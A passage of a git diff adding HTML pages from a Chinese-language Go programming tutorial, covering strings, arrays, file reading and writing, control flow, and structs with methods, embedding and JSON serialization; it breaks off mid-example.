字符串底层是一个byte数组,所以可以和[]byte类型相互转换。字符串是不能修改的 字符串是由byte字节组成,所以字符串的长度是byte字节的长度。 rune类型用来表示utf8字符,一个rune字符由一个或多个byte组成。

+

修改字符串​

+

要修改字符串,需要先将其转换成[]rune或[]byte,完成后再转换为string。无论哪种转换,都会重新分配内存,并复制字节数组。

+
func changeString() {
s1 := "big"
// 强制类型转换
byteS1 := []byte(s1)
byteS1[0] = 'p'
fmt.Println(string(byteS1))

s2 := "白萝卜"
runeS2 := []rune(s2)
runeS2[0] = '红'
fmt.Println(string(runeS2))
}
+

类型转换​

+

Go语言中只有强制类型转换,没有隐式类型转换。该语法只能在两个类型之间支持相互转换的时候使用。

+

强制类型转换的基本语法如下:

+
T(表达式)
+

其中,T表示要转换的类型。表达式包括变量、复杂算子和函数返回值等.

+

比如计算直角三角形的斜边长时使用math包的Sqrt()函数,该函数接收的是float64类型的参数,而变量a和b都是int类型的,这个时候就需要将a和b强制类型转换为float64类型。

+
func sqrtDemo() {
var a, b = 3, 4
var c int
// math.Sqrt()接收的参数是float64类型,需要强制转换
c = int(math.Sqrt(float64(a*a + b*b)))
fmt.Println(c)
}
+ + \ No newline at end of file diff --git a/en/docs/个人知识库/语言知识/Go/Go基础编程/GoLang-数组/index.html b/en/docs/个人知识库/语言知识/Go/Go基础编程/GoLang-数组/index.html new file mode 100644 index 0000000..b56662a --- /dev/null +++ b/en/docs/个人知识库/语言知识/Go/Go基础编程/GoLang-数组/index.html @@ -0,0 +1,55 @@ + + + + + +Go语言基础之数组 | wjlin0 + + + + + + + +

Go语言基础之数组

+

数组是同一种数据类型元素的集合。 在Go语言中,数组从声明时就确定,使用时可以修改数组成员,但是数组大小不可变化。 基本语法:

+
// 定义一个长度为3元素类型为int的数组a
var a [3]int
+

数组定义:​

+
var 数组变量名 [元素数量]T
+

比如:var a [5]int, 数组的长度必须是常量,并且长度是数组类型的一部分。一旦定义,长度不能变。 [5]int和[10]int是不同的类型。

+
var a [3]int
var b [4]int
a = b //不可以这样做,因为此时a和b是不同的类型
+

数组可以通过下标进行访问,下标是从0开始,最后一个元素下标是:len-1,访问越界(下标在合法范围之外),则触发访问越界,会panic。

+

数组的初始化​

+

数组的初始化也有很多方式。

+

方法一​

+

初始化数组时可以使用初始化列表来设置数组元素的值。

+
func main() {
var testArray [3]int //数组会初始化为int类型的零值
var numArray = [3]int{1, 2} //使用指定的初始值完成初始化
var cityArray = [3]string{"北京", "上海", "深圳"} //使用指定的初始值完成初始化
fmt.Println(testArray) //[0 0 0]
fmt.Println(numArray) //[1 2 0]
fmt.Println(cityArray) //[北京 上海 深圳]
}
+

方法二​

+

按照上面的方法每次都要确保提供的初始值和数组长度一致,一般情况下我们可以让编译器根据初始值的个数自行推断数组的长度,例如:

+
func main() {
var testArray [3]int
var numArray = [...]int{1, 2}
var cityArray = [...]string{"北京", "上海", "深圳"}
fmt.Println(testArray) //[0 0 0]
fmt.Println(numArray) //[1 2]
fmt.Printf("type of numArray:%T\n", numArray) //type of numArray:[2]int
fmt.Println(cityArray) //[北京 上海 深圳]
fmt.Printf("type of cityArray:%T\n", cityArray) //type of cityArray:[3]string
}
+

方法三​

+

我们还可以使用指定索引值的方式来初始化数组,例如:

+
func main() {
a := [...]int{1: 1, 3: 5}
fmt.Println(a) // [0 1 0 5]
fmt.Printf("type of a:%T\n", a) //type of a:[4]int
}
+

数组的遍历​

+

遍历数组a有以下两种方法:

+
func main() {
var a = [...]string{"北京", "上海", "深圳"}
// 方法1:for循环遍历
for i := 0; i < len(a); i++ {
fmt.Println(a[i])
}

// 方法2:for range遍历
for index, value := range a {
fmt.Println(index, value)
}
}
+

多维数组​

+

Go语言是支持多维数组的,我们这里以二维数组为例(数组中又嵌套数组)。

+

二维数组的定义​

+
func main() {
a := [3][2]string{
{"北京", "上海"},
{"广州", "深圳"},
{"成都", "重庆"},
}
fmt.Println(a) //[[北京 上海] [广州 深圳] [成都 重庆]]
fmt.Println(a[2][1]) //支持索引取值:重庆
}
+

二维数组的遍历​

+
func main() {
a := [3][2]string{
{"北京", "上海"},
{"广州", "深圳"},
{"成都", "重庆"},
}
for _, v1 := range a {
for _, v2 := range v1 {
fmt.Printf("%s\t", v2)
}
fmt.Println()
}
}
+

输出:

+
北京	上海	
广州 深圳
成都 重庆
+

注意: 多维数组只有第一层可以使用...来让编译器推导数组长度。例如:

+
//支持的写法
a := [...][2]string{
{"北京", "上海"},
{"广州", "深圳"},
{"成都", "重庆"},
}
//不支持多维数组的内层使用...
b := [3][...]string{
{"北京", "上海"},
{"广州", "深圳"},
{"成都", "重庆"},
}
+

数组是值类型​

+

数组是值类型,赋值和传参会复制整个数组。因此改变副本的值,不会改变本身的值。

+
func modifyArray(x [3]int) {
x[0] = 100
}

func modifyArray2(x [3][2]int) {
x[2][0] = 100
}
func main() {
a := [3]int{10, 20, 30}
modifyArray(a) //在modify中修改的是a的副本x
fmt.Println(a) //[10 20 30]
b := [3][2]int{
{1, 1},
{1, 1},
{1, 1},
}
modifyArray2(b) //在modify中修改的是b的副本x
fmt.Println(b) //[[1 1] [1 1] [1 1]]
}
+

注意:

+
    +
  1. 数组支持 “==“、”!=” 操作符,因为内存总是被初始化过的。
  2. +
  3. [n]*T表示指针数组,*[n]T表示数组指针 。
  4. +
+ + \ No newline at end of file diff --git a/en/docs/个人知识库/语言知识/Go/Go基础编程/GoLang-文件io/index.html b/en/docs/个人知识库/语言知识/Go/Go基础编程/GoLang-文件io/index.html new file mode 100644 index 0000000..82ec3e7 --- /dev/null +++ b/en/docs/个人知识库/语言知识/Go/Go基础编程/GoLang-文件io/index.html @@ -0,0 +1,82 @@ + + + + + +Go语言文件操作 | wjlin0 + + + + + + + +

Go语言文件操作

+

打开和关闭文件​

+

os.Open()函数能够打开一个文件,返回一个*File和一个err。对得到的文件实例调用close()方法能够关闭文件。

+
package main

import (
"fmt"
"os"
)

func main() {
// 只读方式打开当前目录下的main.go文件
file, err := os.Open("./main.go")
if err != nil {
fmt.Println("open file failed!, err:", err)
return
}
// 关闭文件
file.Close()
}
+

为了防止文件忘记关闭,我们通常使用defer注册文件关闭语句。

+

读取文件​

+

file.Read()​

+

基本使用​

+

Read方法定义如下:

+
func (f *File) Read(b []byte) (n int, err error)
+

它接收一个字节切片,返回读取的字节数和可能的具体错误,读到文件末尾时会返回0和io.EOF。 举个例子:

+
func main() {
// 只读方式打开当前目录下的main.go文件
file, err := os.Open("./main.go")
if err != nil {
fmt.Println("open file failed!, err:", err)
return
}
defer file.Close()
// 使用Read方法读取数据
var tmp = make([]byte, 128)
n, err := file.Read(tmp)
if err == io.EOF {
fmt.Println("文件读完了")
return
}
if err != nil {
fmt.Println("read file failed, err:", err)
return
}
fmt.Printf("读取了%d字节数据\n", n)
fmt.Println(string(tmp[:n]))
}
+

循环读取​

+

使用for循环读取文件中的所有数据。

+
func main() {
// 只读方式打开当前目录下的main.go文件
file, err := os.Open("./main.go")
if err != nil {
fmt.Println("open file failed!, err:", err)
return
}
defer file.Close()
// 循环读取文件
var content []byte
var tmp = make([]byte, 128)
for {
n, err := file.Read(tmp)
if err == io.EOF {
fmt.Println("文件读完了")
break
}
if err != nil {
fmt.Println("read file failed, err:", err)
return
}
content = append(content, tmp[:n]...)
}
fmt.Println(string(content))
}
+

bufio读取文件​

+

bufio是在file的基础上封装了一层API,支持更多的功能。

+
package main

import (
"bufio"
"fmt"
"io"
"os"
)

// bufio按行读取示例
func main() {
file, err := os.Open("./xx.txt")
if err != nil {
fmt.Println("open file failed, err:", err)
return
}
defer file.Close()
reader := bufio.NewReader(file)
for {
line, err := reader.ReadString('\n') //注意是字符
if err == io.EOF {
if len(line) != 0 {
fmt.Println(line)
}
fmt.Println("文件读完了")
break
}
if err != nil {
fmt.Println("read file failed, err:", err)
return
}
fmt.Print(line)
}
}
+

ioutil读取整个文件​

+

io/ioutil包的ReadFile方法能够读取完整的文件,只需要将文件名作为参数传入。

+
package main

import (
"fmt"
"io/ioutil"
)

// ioutil.ReadFile读取整个文件
func main() {
content, err := ioutil.ReadFile("./main.go")
if err != nil {
fmt.Println("read file failed, err:", err)
return
}
fmt.Println(string(content))
}
+

文件写入操作​

+

os.OpenFile()函数能够以指定模式打开文件,从而实现文件写入相关功能。

+
func OpenFile(name string, flag int, perm FileMode) (*File, error) {
...
}
+

其中:

+

name:要打开的文件名 flag:打开文件的模式。 模式有以下几种:

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
模式含义
os.O_WRONLY只写
os.O_CREATE创建文件
os.O_RDONLY只读
os.O_RDWR读写
os.O_TRUNC清空
os.O_APPEND追加
+

perm:文件权限,一个八进制数。r(读)04,w(写)02,x(执行)01。

+

Write和WriteString​

+
func main() {
file, err := os.OpenFile("xx.txt", os.O_CREATE|os.O_TRUNC|os.O_WRONLY, 0666)
if err != nil {
fmt.Println("open file failed, err:", err)
return
}
defer file.Close()
str := "hello 沙河"
file.Write([]byte(str)) //写入字节切片数据
file.WriteString("hello 小王子") //直接写入字符串数据
}
+

bufio.NewWriter​

+
func main() {
file, err := os.OpenFile("xx.txt", os.O_CREATE|os.O_TRUNC|os.O_WRONLY, 0666)
if err != nil {
fmt.Println("open file failed, err:", err)
return
}
defer file.Close()
writer := bufio.NewWriter(file)
for i := 0; i < 10; i++ {
writer.WriteString("hello沙河\n") //将数据先写入缓存
}
writer.Flush() //将缓存中的内容写入文件
}
+

ioutil.WriteFile​

+
func main() {
str := "hello 沙河"
err := ioutil.WriteFile("./xx.txt", []byte(str), 0666)
if err != nil {
fmt.Println("write file failed, err:", err)
return
}
}
+ + \ No newline at end of file diff --git a/en/docs/个人知识库/语言知识/Go/Go基础编程/GoLang-流程控制/index.html b/en/docs/个人知识库/语言知识/Go/Go基础编程/GoLang-流程控制/index.html new file mode 100644 index 0000000..fcf9627 --- /dev/null +++ b/en/docs/个人知识库/语言知识/Go/Go基础编程/GoLang-流程控制/index.html @@ -0,0 +1,74 @@ + + + + + +Go语言基础之流程控制 | wjlin0 + + + + + + + +

Go语言基础之流程控制

+

if else(分支结构)​

+

if条件判断基本写法​

+

Go语言中if条件判断的格式如下:

+
if 表达式1 {
分支1
} else if 表达式2 {
分支2
} else{
分支3
}
+

当表达式1的结果为true时,执行分支1,否则判断表达式2,如果满足则执行分支2,都不满足时,则执行分支3。 if判断中的else if和else都是可选的,可以根据实际需要进行选择。

+

Go语言规定与if匹配的左括号{必须与if和表达式放在同一行,{放在其他位置会触发编译错误。 同理,与else匹配的{也必须与else写在同一行,else也必须与上一个if或else if右边的大括号在同一行。

+

举个例子:

+
func ifDemo1() {
score := 65
if score >= 90 {
fmt.Println("A")
} else if score > 75 {
fmt.Println("B")
} else {
fmt.Println("C")
}
}
+

if条件判断特殊写法​

+

if条件判断还有一种特殊的写法,可以在 if 表达式之前添加一个执行语句,再根据变量值进行判断,举个例子:

+
func ifDemo2() {
if score := 65; score >= 90 {
fmt.Println("A")
} else if score > 75 {
fmt.Println("B")
} else {
fmt.Println("C")
}
}
+

思考题: 上下两种写法的区别在哪里?

+

for(循环结构)​

+

Go 语言中的所有循环类型均可以使用for关键字来完成。

+

for循环的基本格式如下:

+
for 初始语句;条件表达式;结束语句{
循环体语句
}
+

条件表达式返回true时循环体不停地进行循环,直到条件表达式返回false时自动退出循环。

+
func forDemo() {
for i := 0; i < 10; i++ {
fmt.Println(i)
}
}
+

for循环的初始语句可以被忽略,但是初始语句后的分号必须要写,例如:

+
func forDemo2() {
i := 0
for ; i < 10; i++ {
fmt.Println(i)
}
}
+

for循环的初始语句和结束语句都可以省略,例如:

+
func forDemo3() {
i := 0
for i < 10 {
fmt.Println(i)
i++
}
}
+

这种写法类似于其他编程语言中的while,在while后添加一个条件表达式,满足条件表达式时持续循环,否则结束循环。

+

无限循环​

+
for {
循环体语句
}
+

for循环可以通过break、goto、return、panic语句强制退出循环。

+

for range(键值循环)​

+

Go语言中可以使用for range遍历数组、切片、字符串、map 及通道(channel)。 通过for range遍历的返回值有以下规律:

+
    +
  1. 数组、切片、字符串返回索引和值。
  2. +
  3. map返回键和值。
  4. +
  5. 通道(channel)只返回通道内的值。
  6. +
+

switch case​

+

使用switch语句可方便地对大量的值进行条件判断。

+
func switchDemo1() {
finger := 3
switch finger {
case 1:
fmt.Println("大拇指")
case 2:
fmt.Println("食指")
case 3:
fmt.Println("中指")
case 4:
fmt.Println("无名指")
case 5:
fmt.Println("小拇指")
default:
fmt.Println("无效的输入!")
}
}
+

Go语言规定每个switch只能有一个default分支。

+

一个分支可以有多个值,多个case值中间使用英文逗号分隔。

+
func testSwitch3() {
switch n := 7; n {
case 1, 3, 5, 7, 9:
fmt.Println("奇数")
case 2, 4, 6, 8:
fmt.Println("偶数")
default:
fmt.Println(n)
}
}
+

分支还可以使用表达式,这时候switch语句后面不需要再跟判断变量。例如:

+
func switchDemo4() {
age := 30
switch {
case age < 25:
fmt.Println("好好学习吧")
case age > 25 && age < 35:
fmt.Println("好好工作吧")
case age > 60:
fmt.Println("好好享受吧")
default:
fmt.Println("活着真好")
}
}
+

fallthrough语法可以执行满足条件的case的下一个case,是为了兼容C语言中的case设计的。

+
func switchDemo5() {
s := "a"
switch {
case s == "a":
fmt.Println("a")
fallthrough
case s == "b":
fmt.Println("b")
case s == "c":
fmt.Println("c")
default:
fmt.Println("...")
}
}
+

输出:

+
a
b
+

goto(跳转到指定标签)​

+

goto语句通过标签进行代码间的无条件跳转。goto语句可以在快速跳出循环、避免重复退出上有一定的帮助。Go语言中使用goto语句能简化一些代码的实现过程。 例如双层嵌套的for循环要退出时:

+
func gotoDemo1() {
var breakFlag bool
for i := 0; i < 10; i++ {
for j := 0; j < 10; j++ {
if j == 2 {
// 设置退出标签
breakFlag = true
break
}
fmt.Printf("%v-%v\n", i, j)
}
// 外层for循环判断
if breakFlag {
break
}
}
}
+

使用goto语句能简化代码:

+
func gotoDemo2() {
for i := 0; i < 10; i++ {
for j := 0; j < 10; j++ {
if j == 2 {
// 设置退出标签
goto breakTag
}
fmt.Printf("%v-%v\n", i, j)
}
}
return
// 标签
breakTag:
fmt.Println("结束for循环")
}
+

break(跳出循环)​

+

break语句可以结束for、switch和select的代码块。

+

break语句还可以在语句后面添加标签,表示退出某个标签对应的代码块,标签要求必须定义在对应的for、switch和 select的代码块上。 举个例子:

+
func breakDemo1() {
BREAKDEMO1:
for i := 0; i < 10; i++ {
for j := 0; j < 10; j++ {
if j == 2 {
break BREAKDEMO1
}
fmt.Printf("%v-%v\n", i, j)
}
}
fmt.Println("...")
}
+

continue(继续下次循环)​

+

continue语句可以结束当前循环,开始下一次的循环迭代过程,仅限在for循环内使用。

+

在 continue语句后添加标签时,表示开始标签对应的循环。例如:

+
func continueDemo() {
forloop1:
for i := 0; i < 5; i++ {
// forloop2:
for j := 0; j < 5; j++ {
if i == 2 && j == 2 {
continue forloop1
}
fmt.Printf("%v-%v\n", i, j)
}
}
}
+ + \ No newline at end of file diff --git a/en/docs/个人知识库/语言知识/Go/Go基础编程/GoLang-结构体/index.html b/en/docs/个人知识库/语言知识/Go/Go基础编程/GoLang-结构体/index.html new file mode 100644 index 0000000..df808f2 --- /dev/null +++ b/en/docs/个人知识库/语言知识/Go/Go基础编程/GoLang-结构体/index.html @@ -0,0 +1,173 @@ + + + + + +Go语言基础之结构体 | wjlin0 + + + + + + + +

Go语言基础之结构体

+

类型别名和自定义类型​

+

自定义类型​

+

在Go语言中有一些基本的数据类型,如string、整型、浮点型、布尔等数据类型, Go语言中可以使用type关键字来定义自定义类型。

+

自定义类型是定义了一个全新的类型。我们可以基于内置的基本类型定义,也可以通过struct定义。例如:

+
//将MyInt定义为int类型
type MyInt int
+

通过type关键字的定义,MyInt就是一种新的类型,它具有int的特性。

+

类型别名​

+

类型别名是Go1.9版本添加的新功能。

+

类型别名规定:TypeAlias只是Type的别名,本质上TypeAlias与Type是同一个类型。就像一个孩子小时候有小名、乳名,上学后用学名,英语老师又会给他起英文名,但这些名字都指的是他本人。

+
type TypeAlias = Type
+

我们之前见过的rune和byte就是类型别名,他们的定义如下:

+
type byte = uint8
type rune = int32
+

类型定义和类型别名的区别​

+

类型别名与类型定义表面上看只有一个等号的差异,我们通过下面的这段代码来理解它们之间的区别。

+
//类型定义
type NewInt int

//类型别名
type MyInt = int

func main() {
var a NewInt
var b MyInt

fmt.Printf("type of a:%T\n", a) //type of a:main.NewInt
fmt.Printf("type of b:%T\n", b) //type of b:int
}
+

结果显示a的类型是main.NewInt,表示main包下定义的NewInt类型。b的类型是int。MyInt类型只会在代码中存在,编译完成时并不会有MyInt类型。

+

结构体​

+

Go语言中的基础数据类型可以表示一些事物的基本属性,但是当我们想表达一个事物的全部或部分属性时,这时候再用单一的基本数据类型明显就无法满足需求了,Go语言提供了一种自定义数据类型,可以封装多个基本数据类型,这种数据类型叫结构体,英文名称struct。 也就是我们可以通过struct来定义自己的类型了。

+

Go语言中通过struct来实现面向对象。

+

结构体的定义​

+

使用type和struct关键字来定义结构体,具体代码格式如下:

+
type 类型名 struct {
字段名 字段类型
字段名 字段类型
…
}
+

其中:

+
    +
  • 类型名:标识自定义结构体的名称,在同一个包内不能重复。
  • +
  • 字段名:表示结构体字段名。结构体中的字段名必须唯一。
  • +
  • 字段类型:表示结构体字段的具体类型。
  • +
+

举个例子,我们定义一个Person(人)结构体,代码如下:

+
type person struct {
name string
city string
age int8
}
+

同样类型的字段也可以写在一行,

+
type person1 struct {
name, city string
age int8
}
+

这样我们就拥有了一个person的自定义类型,它有name、city、age三个字段,分别表示姓名、城市和年龄。这样我们使用这个person结构体就能够很方便的在程序中表示和存储人信息了。

+

语言内置的基础数据类型是用来描述一个值的,而结构体是用来描述一组值的。比如一个人有名字、年龄和居住城市等,本质上是一种聚合型的数据类型

+

结构体实例化​

+

只有当结构体实例化时,才会真正地分配内存。也就是必须实例化后才能使用结构体的字段。

+

结构体本身也是一种类型,我们可以像声明内置类型一样使用var关键字声明结构体类型。

+
var 结构体实例 结构体类型
+

基本实例化​

+

举个例子:

+
type person struct {
name string
city string
age int8
}

func main() {
var p1 person
p1.name = "沙河娜扎"
p1.city = "北京"
p1.age = 18
fmt.Printf("p1=%v\n", p1) //p1={沙河娜扎 北京 18}
fmt.Printf("p1=%#v\n", p1) //p1=main.person{name:"沙河娜扎", city:"北京", age:18}
}
+

我们通过.来访问结构体的字段(成员变量),例如p1.name和p1.age等。

+

匿名结构体​

+

在定义一些临时数据结构等场景下还可以使用匿名结构体。

+
package main

import (
"fmt"
)

func main() {
var user struct{Name string; Age int}
user.Name = "小王子"
user.Age = 18
fmt.Printf("%#v\n", user)
}
+

创建指针类型结构体​

+

我们还可以通过使用new关键字对结构体进行实例化,得到的是结构体的地址。 格式如下:

+
var p2 = new(person)
fmt.Printf("%T\n", p2) //*main.person
fmt.Printf("p2=%#v\n", p2) //p2=&main.person{name:"", city:"", age:0}
+

从打印的结果中我们可以看出p2是一个结构体指针。

+

需要注意的是在Go语言中支持对结构体指针直接使用.来访问结构体的成员。

+
var p2 = new(person)
p2.name = "小王子"
p2.age = 28
p2.city = "上海"
fmt.Printf("p2=%#v\n", p2) //p2=&main.person{name:"小王子", city:"上海", age:28}
+

取结构体的地址实例化​

+

使用&对结构体进行取地址操作相当于对该结构体类型进行了一次new实例化操作。

+
p3 := &person{}
fmt.Printf("%T\n", p3) //*main.person
fmt.Printf("p3=%#v\n", p3) //p3=&main.person{name:"", city:"", age:0}
p3.name = "七米"
p3.age = 30
p3.city = "成都"
fmt.Printf("p3=%#v\n", p3) //p3=&main.person{name:"七米", city:"成都", age:30}
+

p3.name = "七米"其实在底层是(*p3).name = "七米",这是Go语言帮我们实现的语法糖。

+

结构体初始化​

+

没有初始化的结构体,其成员变量都是对应其类型的零值。

+
type person struct {
name string
city string
age int8
}

func main() {
var p4 person
fmt.Printf("p4=%#v\n", p4) //p4=main.person{name:"", city:"", age:0}
}
+

使用键值对初始化​

+

使用键值对对结构体进行初始化时,键对应结构体的字段,值对应该字段的初始值。

+
p5 := person{
name: "小王子",
city: "北京",
age: 18,
}
fmt.Printf("p5=%#v\n", p5) //p5=main.person{name:"小王子", city:"北京", age:18}
+

也可以对结构体指针进行键值对初始化,例如:

+
p6 := &person{
name: "小王子",
city: "北京",
age: 18,
}
fmt.Printf("p6=%#v\n", p6) //p6=&main.person{name:"小王子", city:"北京", age:18}
+

当某些字段没有初始值的时候,该字段可以不写。此时,没有指定初始值的字段的值就是该字段类型的零值。

+
p7 := &person{
city: "北京",
}
fmt.Printf("p7=%#v\n", p7) //p7=&main.person{name:"", city:"北京", age:0}
+

使用值的列表初始化​

+

初始化结构体的时候可以简写,也就是初始化的时候不写键,直接写值:

+
p8 := &person{
"沙河娜扎",
"北京",
28,
}
fmt.Printf("p8=%#v\n", p8) //p8=&main.person{name:"沙河娜扎", city:"北京", age:28}
+

使用这种格式初始化时,需要注意:

+
    +
  1. 必须初始化结构体的所有字段。
  2. +
  3. 初始值的填充顺序必须与字段在结构体中的声明顺序一致。
  4. +
  5. 该方式不能和键值初始化方式混用。
  6. +
+

结构体内存布局​

+

结构体占用一块连续的内存。

+
type test struct {
a int8
b int8
c int8
d int8
}
n := test{
1, 2, 3, 4,
}
fmt.Printf("n.a %p\n", &n.a)
fmt.Printf("n.b %p\n", &n.b)
fmt.Printf("n.c %p\n", &n.c)
fmt.Printf("n.d %p\n", &n.d)
+

输出:

+
n.a 0xc0000a0060
n.b 0xc0000a0061
n.c 0xc0000a0062
n.d 0xc0000a0063
+

【进阶知识点】关于Go语言中的内存对齐推荐阅读:Go结构体的内存对齐

+

空结构体​

+

空结构体是不占用空间的。

+
var v struct{}
fmt.Println(unsafe.Sizeof(v)) // 0
+

面试题​

+

请问下面代码的执行结果是什么?

+
type student struct {
name string
age int
}

func main() {
m := make(map[string]*student)
stus := []student{
{name: "小王子", age: 18},
{name: "娜扎", age: 23},
{name: "大王八", age: 9000},
}

for _, stu := range stus {
m[stu.name] = &stu
}
for k, v := range m {
fmt.Println(k, "=>", v.name)
}
}
+

构造函数​

+

Go语言的结构体没有构造函数,我们可以自己实现。 例如,下方的代码就实现了一个person的构造函数。 因为struct是值类型,如果结构体比较复杂的话,值拷贝性能开销会比较大,所以该构造函数返回的是结构体指针类型。

+
func newPerson(name, city string, age int8) *person {
return &person{
name: name,
city: city,
age: age,
}
}
+

调用构造函数

+
p9 := newPerson("张三", "沙河", 90)
fmt.Printf("%#v\n", p9) //&main.person{name:"张三", city:"沙河", age:90}
+

方法和接收者​

+

Go语言中的方法(Method)是一种作用于特定类型变量的函数。这种特定类型变量叫做接收者(Receiver)。接收者的概念就类似于其他语言中的this或者 self。

+

方法的定义格式如下:

+
func (接收者变量 接收者类型) 方法名(参数列表) (返回参数) {
函数体
}
+

其中,

+
    +
  • 接收者变量:接收者中的参数变量名在命名时,官方建议使用接收者类型名称首字母的小写,而不是self、this之类的命名。例如,Person类型的接收者变量应该命名为 p,Connector类型的接收者变量应该命名为c等。
  • +
  • 接收者类型:接收者类型和参数类似,可以是指针类型和非指针类型。
  • +
  • 方法名、参数列表、返回参数:具体格式与函数定义相同。
  • +
+

举个例子:

+
//Person 结构体
type Person struct {
name string
age int8
}

//NewPerson 构造函数
func NewPerson(name string, age int8) *Person {
return &Person{
name: name,
age: age,
}
}

//Dream Person做梦的方法
func (p Person) Dream() {
fmt.Printf("%s的梦想是学好Go语言!\n", p.name)
}

func main() {
p1 := NewPerson("小王子", 25)
p1.Dream()
}
+

方法与函数的区别是,函数不属于任何类型,方法属于特定的类型。

+

指针类型的接收者​

+

指针类型的接收者由一个结构体的指针组成,由于指针的特性,调用方法时修改接收者指针的任意成员变量,在方法结束后,修改都是有效的。这种方式就十分接近于其他语言中面向对象中的this或者self。 例如我们为Person添加一个SetAge方法,来修改实例变量的年龄。

+
// SetAge 设置p的年龄
// 使用指针接收者
func (p *Person) SetAge(newAge int8) {
p.age = newAge
}
+

调用该方法:

+
func main() {
p1 := NewPerson("小王子", 25)
fmt.Println(p1.age) // 25
p1.SetAge(30)
fmt.Println(p1.age) // 30
}
+

值类型的接收者​

+

当方法作用于值类型接收者时,Go语言会在代码运行时将接收者的值复制一份。在值类型接收者的方法中可以获取接收者的成员值,但修改操作只是针对副本,无法修改接收者变量本身。

+
// SetAge2 设置p的年龄
// 使用值接收者
func (p Person) SetAge2(newAge int8) {
p.age = newAge
}

func main() {
p1 := NewPerson("小王子", 25)
p1.Dream()
fmt.Println(p1.age) // 25
p1.SetAge2(30) // (*p1).SetAge2(30)
fmt.Println(p1.age) // 25
}
+

什么时候应该使用指针类型接收者​

+
    +
  1. 需要修改接收者中的值
  2. +
  3. 接收者是拷贝代价比较大的大对象
  4. +
  5. 保证一致性,如果有某个方法使用了指针接收者,那么其他的方法也应该使用指针接收者。
  6. +
+

任意类型添加方法​

+

在Go语言中,接收者的类型可以是任何类型,不仅仅是结构体,任何类型都可以拥有方法。 举个例子,我们基于内置的int类型使用type关键字可以定义新的自定义类型,然后为我们的自定义类型添加方法。

+
//MyInt 将int定义为自定义MyInt类型
type MyInt int

//SayHello 为MyInt添加一个SayHello的方法
func (m MyInt) SayHello() {
fmt.Println("Hello, 我是一个int。")
}
func main() {
var m1 MyInt
m1.SayHello() //Hello, 我是一个int。
m1 = 100
fmt.Printf("%#v %T\n", m1, m1) //100 main.MyInt
}
+

注意事项: 非本地类型不能定义方法,也就是说我们不能给别的包的类型定义方法。

+

结构体的匿名字段​

+

结构体允许其成员字段在声明时没有字段名而只有类型,这种没有名字的字段就称为匿名字段。

+
//Person 结构体Person类型
type Person struct {
string
int
}

func main() {
p1 := Person{
"小王子",
18,
}
fmt.Printf("%#v\n", p1) //main.Person{string:"北京", int:18}
fmt.Println(p1.string, p1.int) //北京 18
}
+

**注意:**这里匿名字段的说法并不代表没有字段名,而是默认会采用类型名作为字段名,结构体要求字段名称必须唯一,因此一个结构体中同种类型的匿名字段只能有一个。

+

嵌套结构体​

+

一个结构体中可以嵌套包含另一个结构体或结构体指针,就像下面的示例代码那样。

+
//Address 地址结构体
type Address struct {
Province string
City string
}

//User 用户结构体
type User struct {
Name string
Gender string
Address Address
}

func main() {
user1 := User{
Name: "小王子",
Gender: "男",
Address: Address{
Province: "山东",
City: "威海",
},
}
fmt.Printf("user1=%#v\n", user1)//user1=main.User{Name:"小王子", Gender:"男", Address:main.Address{Province:"山东", City:"威海"}}
}
+

嵌套匿名字段​

+

上面user结构体中嵌套的Address结构体也可以采用匿名字段的方式,例如:

+
//Address 地址结构体
type Address struct {
Province string
City string
}

//User 用户结构体
type User struct {
Name string
Gender string
Address //匿名字段
}

func main() {
var user2 User
user2.Name = "小王子"
user2.Gender = "男"
user2.Address.Province = "山东" // 匿名字段默认使用类型名作为字段名
user2.City = "威海" // 匿名字段可以省略
fmt.Printf("user2=%#v\n", user2) //user2=main.User{Name:"小王子", Gender:"男", Address:main.Address{Province:"山东", City:"威海"}}
}
+

当访问结构体成员时会先在结构体中查找该字段,找不到再去嵌套的匿名字段中查找。

+

嵌套结构体的字段名冲突​

+

嵌套结构体内部可能存在相同的字段名。在这种情况下为了避免歧义需要通过指定具体的内嵌结构体字段名。

+
//Address 地址结构体
type Address struct {
Province string
City string
CreateTime string
}

//Email 邮箱结构体
type Email struct {
Account string
CreateTime string
}

//User 用户结构体
type User struct {
Name string
Gender string
Address
Email
}

func main() {
var user3 User
user3.Name = "沙河娜扎"
user3.Gender = "男"
// user3.CreateTime = "2019" //ambiguous selector user3.CreateTime
user3.Address.CreateTime = "2000" //指定Address结构体中的CreateTime
user3.Email.CreateTime = "2000" //指定Email结构体中的CreateTime
}
+

结构体的“继承”​

+

Go语言中使用结构体也可以实现其他编程语言中面向对象的继承。

+
//Animal 动物
type Animal struct {
name string
}

func (a *Animal) move() {
fmt.Printf("%s会动!\n", a.name)
}

//Dog 狗
type Dog struct {
Feet int8
*Animal //通过嵌套匿名结构体实现继承
}

func (d *Dog) wang() {
fmt.Printf("%s会汪汪汪~\n", d.name)
}

func main() {
d1 := &Dog{
Feet: 4,
Animal: &Animal{ //注意嵌套的是结构体指针
name: "乐乐",
},
}
d1.wang() //乐乐会汪汪汪~
d1.move() //乐乐会动!
}
+

结构体字段的可见性​

+

结构体中字段大写开头表示可公开访问,小写表示私有(仅在定义当前结构体的包中可访问)。

+

结构体与JSON序列化​

+

JSON(JavaScript Object Notation) 是一种轻量级的数据交换格式。易于人阅读和编写。同时也易于机器解析和生成。JSON键值对是用来保存JS对象的一种方式,键/值对组合中的键名写在前面并用双引号""包裹,使用冒号:分隔,然后紧接着值;多个键值之间使用英文,分隔。

+
//Student 学生
type Student struct {
ID int
Gender string
Name string
}

//Class 班级
type Class struct {
Title string
Students []*Student
}

func main() {
c := &Class{
Title: "101",
Students: make([]*Student, 0, 200),
}
for i := 0; i < 10; i++ {
stu := &Student{
Name: fmt.Sprintf("stu%02d", i),
Gender: "男",
ID: i,
}
c.Students = append(c.Students, stu)
}
//JSON序列化:结构体-->JSON格式的字符串
data, err := json.Marshal(c)
if err != nil {
fmt.Println("json marshal failed")
return
}
fmt.Printf("json:%s\n", data)
//JSON反序列化:JSON格式的字符串-->结构体
str := `{"Title":"101","Students":[{"ID":0,"Gender":"男","Name":"stu00"},{"ID":1,"Gender":"男","Name":"stu01"},{"ID":2,"Gender":"男","Name":"stu02"},{"ID":3,"Gender":"男","Name":"stu03"},{"ID":4,"Gender":"男","Name":"stu04"},{"ID":5,"Gender":"男","Name":"stu05"},{"ID":6,"Gender":"男","Name":"stu06"},{"ID":7,"Gender":"男","Name":"stu07"},{"ID":8,"Gender":"男","Name":"stu08"},{"ID":9,"Gender":"男","Name":"stu09"}]}`
c1 := &Class{}
